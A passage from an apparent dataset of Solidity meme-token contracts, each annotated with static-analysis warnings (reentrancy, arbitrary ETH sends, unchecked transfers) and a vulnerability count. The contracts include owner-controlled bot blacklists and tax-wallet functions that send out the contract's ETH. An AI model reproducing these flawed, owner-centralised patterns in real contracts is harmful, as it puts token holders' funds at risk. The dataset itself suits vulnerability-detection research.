ID: 47b0e87\n\t\t// reentrancy-eth | ID: 1931f77\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ee8cecb): MAPE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ee8cecb: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f6b8266\n\t\t// reentrancy-events | ID: a9db712\n\t\t// reentrancy-eth | ID: 1931f77\n\t\t// arbitrary-send-eth | ID: ee8cecb\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 67629a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 67629a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 16b85f6): MAPE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 16b85f6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ecaf4b9): MAPE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ecaf4b9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cf93a3d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cf93a3d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 67629a2\n\t\t// reentrancy-eth | ID: cf93a3d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 67629a2\n\t\t// unused-return | ID: ecaf4b9\n\t\t// reentrancy-eth | ID: cf93a3d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 67629a2\n\t\t// unused-return | ID: 16b85f6\n\t\t// reentrancy-eth | ID: cf93a3d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 67629a2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: cf93a3d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10788.sol",
"size_bytes": 20318,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract JetpackwearingHamsters is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3bbe723): JetpackwearingHamsters._taxWallet should be immutable \n\t// Recommendation for 3bbe723: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16834b2): JetpackwearingHamsters._initialBuyTax should be constant \n\t// Recommendation for 16834b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9efb34c): JetpackwearingHamsters._initialSellTax should be constant \n\t// Recommendation for 9efb34c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: b1cd108): JetpackwearingHamsters._finalBuyTax should be constant \n\t// Recommendation for b1cd108: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d42efd6): JetpackwearingHamsters._finalSellTax should be constant \n\t// Recommendation for d42efd6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c2226a7): JetpackwearingHamsters._reduceBuyTaxAt should be constant \n\t// Recommendation for c2226a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74e1d81): JetpackwearingHamsters._reduceSellTaxAt should be constant \n\t// Recommendation for 74e1d81: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ed3a36): JetpackwearingHamsters._preventSwapBefore should be constant \n\t// Recommendation for 3ed3a36: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Jetpack wearing Hamsters\";\n\n string private constant _symbol = unicode\"JWH\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74559d9): JetpackwearingHamsters._taxSwapThreshold should be constant \n\t// Recommendation for 74559d9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39576c3): JetpackwearingHamsters._maxTaxSwap should be constant \n\t// Recommendation for 39576c3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1c5f649): JetpackwearingHamsters.uniswapV2Router should be immutable \n\t// Recommendation for 1c5f649: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8eb6430): JetpackwearingHamsters.uniswapV2Pair should be immutable \n\t// Recommendation for 8eb6430: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05599b5): JetpackwearingHamsters.sellsPerBlock should be constant \n\t// Recommendation for 05599b5: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54beed0): JetpackwearingHamsters.buysFirstBlock should be constant \n\t// Recommendation for 54beed0: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e70205d): JetpackwearingHamsters.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e70205d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f91878f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f91878f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d2ae2d3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d2ae2d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f91878f\n\t\t// reentrancy-benign | ID: d2ae2d3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f91878f\n\t\t// reentrancy-benign | ID: d2ae2d3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6ad763): JetpackwearingHamsters._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a6ad763: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d2ae2d3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f91878f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0755515): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0755515: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 7de4e15): JetpackwearingHamsters._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 7de4e15: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7467483): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7467483: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f9a3c02): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f9a3c02: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 7de4e15\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 0755515\n\t\t\t\t// reentrancy-eth | ID: 7467483\n\t\t\t\t// reentrancy-eth | ID: f9a3c02\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0755515\n\t\t\t\t\t// reentrancy-eth | ID: 7467483\n\t\t\t\t\t// reentrancy-eth | ID: f9a3c02\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f9a3c02\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f9a3c02\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 0755515\n\t\t\t\t// reentrancy-eth | ID: 7467483\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0755515\n\t\t\t\t\t// reentrancy-eth | ID: 7467483\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7467483\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0755515\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7467483\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7467483\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0755515\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0755515\n\t\t// reentrancy-events | ID: f91878f\n\t\t// reentrancy-benign | ID: d2ae2d3\n\t\t// reentrancy-eth | ID: 7467483\n\t\t// reentrancy-eth | ID: f9a3c02\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4f8e635): JetpackwearingHamsters.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4f8e635: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0755515\n\t\t// reentrancy-events | ID: f91878f\n\t\t// reentrancy-eth | ID: 7467483\n\t\t// reentrancy-eth | ID: f9a3c02\n\t\t// arbitrary-send-eth | ID: 4f8e635\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c28ef39): JetpackwearingHamsters.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for c28ef39: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: c28ef39\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bebf412): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bebf412: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dc0e146): JetpackwearingHamsters.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for dc0e146: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e065cd3): JetpackwearingHamsters.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e065cd3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 813f6dd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 813f6dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: bebf412\n\t\t// unused-return | ID: dc0e146\n\t\t// reentrancy-eth | ID: 813f6dd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bebf412\n\t\t// unused-return | ID: e065cd3\n\t\t// reentrancy-eth | ID: 813f6dd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bebf412\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 813f6dd\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: bebf412\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10789.sol",
"size_bytes": 23471,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 47be817): KYC.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal89 / 100)\n// Recommendation for 47be817: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bc93c2d): KYC.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal89 / 100)\n// Recommendation for bc93c2d: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 58f9252): KYC.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal89 / 100)\n// Recommendation for 58f9252: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2f40dd9): KYC.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal89 / 100)\n// Recommendation for 2f40dd9: Consider ordering multiplication before division.\ncontract KYC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allows89;\n\n mapping(address => bool) private _isExcludedFrom89;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6556f9d): KYC._receipt89 should be constant \n\t// Recommendation for 6556f9d: Add the 'constant' attribute to state variables that never change.\n address payable private _receipt89 =\n payable(0x454d2561Cba143b0c988F802bE0618A9fb3b750D);\n\n\t// WARNING Optimization Issue (constable-states | ID: e202ee8): KYC._initialBuyTax should be constant \n\t// Recommendation for e202ee8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: dabcb4c): KYC._initialSellTax should be constant \n\t// Recommendation for dabcb4c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab64f31): KYC._finalBuyTax should be constant \n\t// Recommendation for ab64f31: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 94dc7f3): KYC._finalSellTax should be constant \n\t// Recommendation for 94dc7f3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04d317f): KYC._reduceBuyTaxAt should be constant \n\t// Recommendation for 04d317f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: a100d25): KYC._reduceSellTaxAt should be constant \n\t// Recommendation for a100d25: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization 